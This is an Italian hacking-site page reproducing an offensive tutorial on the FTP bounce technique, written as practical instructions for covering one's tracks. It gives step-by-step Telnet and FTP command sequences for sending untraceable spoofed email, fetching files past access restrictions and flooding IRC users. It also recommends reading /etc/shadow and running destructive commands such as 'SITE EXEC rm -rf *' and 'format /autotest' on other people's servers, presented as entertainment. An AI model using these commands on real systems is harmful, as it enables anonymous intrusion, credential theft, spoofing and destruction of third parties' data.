Utenti Online:  | IP:  28/10/2002: Aggiornata la grafica del sito, by pCwArE ;))
Documentazione
Enciclopedia Lord Shinva
Guida protocollo TCP/IP

Security FAQ 1.0

RFC
Porte di connessione
Jargon file
E-zine

 

DISCLAIMER: Si ricorda che il Web Admin del sito ed il provider non si ritengono responsabili in nessun modo del cattivo utilizzo che chiunque dovesse fare di tutto il materiale contenuto nel sito. Lo scopo della Security Check Community è quello di condividere ed approfondire le conoscenze della comunità.

 

Votaci!!

Hacking/Documentazione
Enciclopedia Lord Shinva n.8
8. FTP Bounce 

TECNICHE AVANZATE: FTP BOUNCE
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Passiamo ora a qualcosa di veramente interessante: FTP. Vi chiederete: ma
FTP non serve solo a trasferire i file?
La risposta e` no. Beh, dovrebbe essere si... ma sapete com'e`... un hacker
e` un po` come un bambino curioso che si diverte di piu` a "smontare" un
giocattolo che a usarlo per quello a cui servirebbe =)

Innanzitutto sappiate che FTP altro non e` che una sessione di Telnet con
qualche piccolo extra in piu` (il trasferimento di file).

Esistono infatti dei comandi "interni", come abbiamo visto per SMTP, e quindi
anche FTP e` gestibile (in parte) tramite Telnet.

La tecnica che ci accingiamo a studiare e` detta "FTP Bounce" (rimbalzo
dell'FTP).

Vi servira` innanzitutto un server FTP che vi permetta di inviare e prelevare
files da una directory qualsiasi. Potete tranquillamente trovare tali server
cercando la parola "warez" (software commerciale piratato) con un motore di
ricerca di files come "FTP Search" (http://ftpsearch.ntnu.no/ftpsearch),
oppure "Filez" (http://www.filez.com); prendete nota anche della directory
che verra` visualizzata accanto al nome del server che la contiene.

Ora provate a collegarvi a uno di quei server, ed a entrare nella directory
"warez" (o un'altra in cui si possano leggere e scrivere i files). Provate
a inviare un file di prova e a prelevarlo di nuovo, per controllare se e`
questo il server "giusto". Se tutto funziona, lo avete trovato, altrimenti
usatene un altro (ce ne sono moltissimi).

Questo server sara` la vostra "base". In tutti gli attacchi che effettuerete
verra` visualizzato l'IP Address di questo server, anziche` il vostro.

Ora studiamo il funzionamento dell'attacco, in modo da poterlo adattare a
qualsiasi nostro bisogno, per poter magari anche inventare nuovi metodi di
utilizzo a seconda delle necessita`.

Dovremo innanzitutto creare un file (vedremo tra poco come) che contenga i
comandi che vogliamo far eseguire (in base a cio` che vogliamo fare).
Non preoccupatevi ora del suo contenuto. Per ora ci interessa solo studiare
il funzionamento della tecnica, e poi procedere con gli esempi.

Ora ci servira` un normale programma client FTP (come Cute-FTP e WS-FTP se
usate Windows, oppure il comando FTP di Linux). Lo useremo per inviare il
file di cui sopra nel server "base" che abbiamo scelto prima.

Una volta inviato il nostro file, chiuderemo FTP e passeremo a Telnet.
La porta di FTP e` la numero 21. Colleghiamoci dunque al server "base" alla
porta 21 e aspettiamo una risposta. Ora potremo inserire i comandi:

USER anonymous
PASS nessuno@niente.com

e, se l'accesso anonimo e` abilitato (come succede nel 90% dei casi), il
server rispondera` qualcosa come "User anonymous logged in". Siamo dentro.

Dobbiamo ora conoscere l'IP Address del server da attaccare. Percio` avremo
bisogno di un programma DNS per risalire dall'host name all'IP Address.

Ora digitiamo (in Telnet) il comando PORT x,x,x,x,0,y dove x,x,x,x e`
l'IP Address del server da attaccare e y e` la porta del servizio da
attaccare (21 per FTP, 80 per il Web, e cosi` via).
Notate che l'IP Address in questo caso non usa punti per separare i numeri
ma delle virgole.

Quello che succede inserendo il comando PORT e` questo: diciamo al server
FTP di collegarsi all'IP Address e alla porta che gli diamo come parametri.
In pratica, sara` il server FTP a collegarsi, anziche` noi... abbiamo cosi`
il server come "complice", in quanto sara` lui a fare tutte le operazioni e
le eventuali tracce lasciate saranno le sue! :) Noi siamo nell'ombra...
(vi renderete conto che questo e` un ottimo mezzo per nascondere in un modo
impensabile le proprie tracce, qualsiasi cosa vi serva fare).

Bastera` ora digitare RETR nomedelfileinviato e tutti i comandi desiderati
saranno inviati dalla "base" alla "vittima".

Ma ora basta teoria, passiamo a qualche esempio esplicativo.

Vogliamo ad esempio inviare una FakeMail impossibile da rintracciare?
Allora studiamo il problema in questi termini:

1) quali tipi di comandi dovremo inserire nel file?
2) quale servizio stiamo hackerando?
3) quale server useremo come destinazione?

Ecco le risposte:

1) i comandi saranno per SMTP, dovendo noi inviare una FakeMail
2) il servizio e`, come abbiamo appena detto, la posta, cioe` SMTP
3) un qualsiasi server SMTP andra` bene; usaremo DNS per conoscerne l'IP
Address (che in questo esempio supponiamo essere 123.45.67.89)

Ora ci colleghiamo, come abbiamo fatto prima, al server "base" (FTP) con
il client FTP e inviamo i comandi (che avremo scritto prima di iniziare il
collegamento) della FakeMail: HELO, MAIL FROM, ecc. (la solita FakeMail).

Adesso useremo Telnet sul server "base" (la porta e` sempre 21, fin qui
rimane sempre tutto uguale) e digitiamo PORT 123,45,67,89,0,25 dove
123,45,67,89 e` l'IP Address del server che dovra` eseguire il nostro file
(il server di posta), ma con le virgole anziche` i punti (questo e` il
formato richiesto da FTP), mentre 25 e` la porta SMTP.

Infine scriveremo RETR nomedelfileinviato per avviare l'esecuzione dei
comandi. Dopo poco tempo la FakeMail verra` inviata dal server, ma senza
un IP Address che riveli la nostra identita`.

NOTA IMPORTANTE: alla fine del file dei comandi bisogna aggiungere circa 60
kilobyte di byte 0, affinche` la connessione duri abbastanza e non si
interrompa bruscamente. Per creare tale file basta usare "debug" (sotto DOS)
scrivendo:

DEBUG PROVA <-- noi
File non trovato
-f 100,F000,0 <-- noi
-rcx <-- noi
:0000
EA60 <-- noi
-w <-- noi
Scrittura di EA60 bytes in corso...
-q <-- noi

Ora un file chiamato "PROVA" di dimensioni 60000 byte sara` stato creato.
Se il nostro file dei comandi l'abbiamo chiamato "comandi" (che fantasia...)
scriveremo:

copy /b comandi+prova finale

E un nuovo file, "finale", verra` creato. Questo sara` il file da inviare.

ATTENZIONE: questo va fatto TUTTE le volte che useremo il metodo dell' FTP
Bounce, non solo nel caso della FakeMail.

Facciamo ora un altro esempio, un po` piu` complesso.

A volte capita di trovare un server che non ci permette di prelevare un file
perche` magari il provider da cui chiamiamo e` in Italia e il suddetto server
invece si trova all'estero e non vuole dare accesso a chi proviene da *.it e
cose del genere. Come fare, allora?

Creeremo un file dei comandi contenente quanto segue:

user anonymous
pass nessuno@niente.com
cwd /directory/dove/si/trova/il/file
type i
port X,X,X,X,Y,Y
retr nome_del_file_da_prelevare
quit

(ovviamente anche questo file va "trattato" con debug e copy).

Chiamiamo questo file con un nome come "bounce".

Nel file sopra dovrete sostituire directory e nome file. X,X,X,X e` il
*vostro* IP Address, e Y,Y e` spiegato piu` giu`.

Ecco cosa bisogna fare:

- Collegatevi con Telnet alla porta 21 del server "base"
- Scrivete PASV (e invio, ovviamente)
- Il server rispondera` con qualcosa come 111.22.33.44,0,21
Prendete nota degli ultimi due numeri (0 e 21)
- Scrivete STOR hahaha
- Ora Telnet si blocchera`, poiche` sta aspettando i dati da inviare
- Usate il vostro client FTP, collegatevi di nuovo al server e inviate il
file (nel nostro esempio l'abbiamo chiamato bounce)
- Ora aprite un altro client Telnet, collegatevi di nuovo al server "base"
sulla porta 21 e scrivete PORT x,x,x,x,0,21 (dove x.x.x.x e` l'IP Address
del server da attaccare, cioe` quello da cui volete prelevare i file)
- Scrivete RETR bounce (se avete chiamato "bounce" il file dei comandi)
- Dopo un certo tempo (che dipende dalle dimensioni del file da scaricare)
troverete il file desiderato nel server "base", con il nome "hahaha".

Esistono molti altri metodi per utilizzare l'FTP Bounce; ad esempio se volete
"bombardare" un utente su IRC, potete creare un file dei comandi contenente
una serie di DCC CHAT, PRIVMSG, ecc. (solo se conoscete bene IRC) e farli
mandare dal vostro server "base" a uno (o molti) server IRC.

Potete inoltre usarlo per collegarvi a una shell (i comandi Telnet vanno
messi nel file dei comandi) e leggere il file delle password e fare altre
cose senza essere scoperti. Ad esempio potete usare "cat < /etc/shadow" per
visualizzare un file delle password shadow, o un "rm -rf *" (molto utile per
rendere la vita miserabile ai SysAdmin che si stancano di fare un backup
di tutti i files dei loro sistemi)...

Vale la pena di spendere ancora un paio di parole sui bugs di FTP.

SITE EXEC e` un comando che si trova in molti server, sia per Unix che per
Windows. Non e` un bug, ma un comando che sembra essere stato fatto apposta
per un hacker.malicious :) A cosa serve, vi chiederete...

Utilizzando Telnet sulla porta 21 di un server FTP, inviate i comandi USER
e PASS come visto sopra, in modo da accedere in modo "anonimo" al server, e
poi digitate SITE EXEC seguito da un comando. Se SITE EXEC e` implementato,
il vostro comando verra` eseguito.

Un modo per conoscere quali comandi sono implementati su un server FTP si
puo` usare il comando HELP.

Un'attivita` che personalmente *adoro* praticare e` andare sui canali IRC per
pedofili, aspettare che qualcuno faccia pubblicita` all'indirizzo del proprio
server FTP pieno di schifezze e fare un po` di pulizia usando il comando:

SITE EXEC rm -rf *

...se il server e` per Unix (come ftpd). Oppure usando format /autotest se
il server e` (praticamente sempre) per Windows (Serv-U, WarFTP).

Partner

pCwArE
ZeroDay
Il tuo sito qui..
Il tuo sito qui..
Il tuo sito qui..

>Diventa Partner

Newsletter

A breve la Newsletter!!
Community
Forum
Chat

Statistiche

[contatore visite]

 

TORNA ALLA HOMEPAGE


Security Check™ Designed By http://www.pcware.tk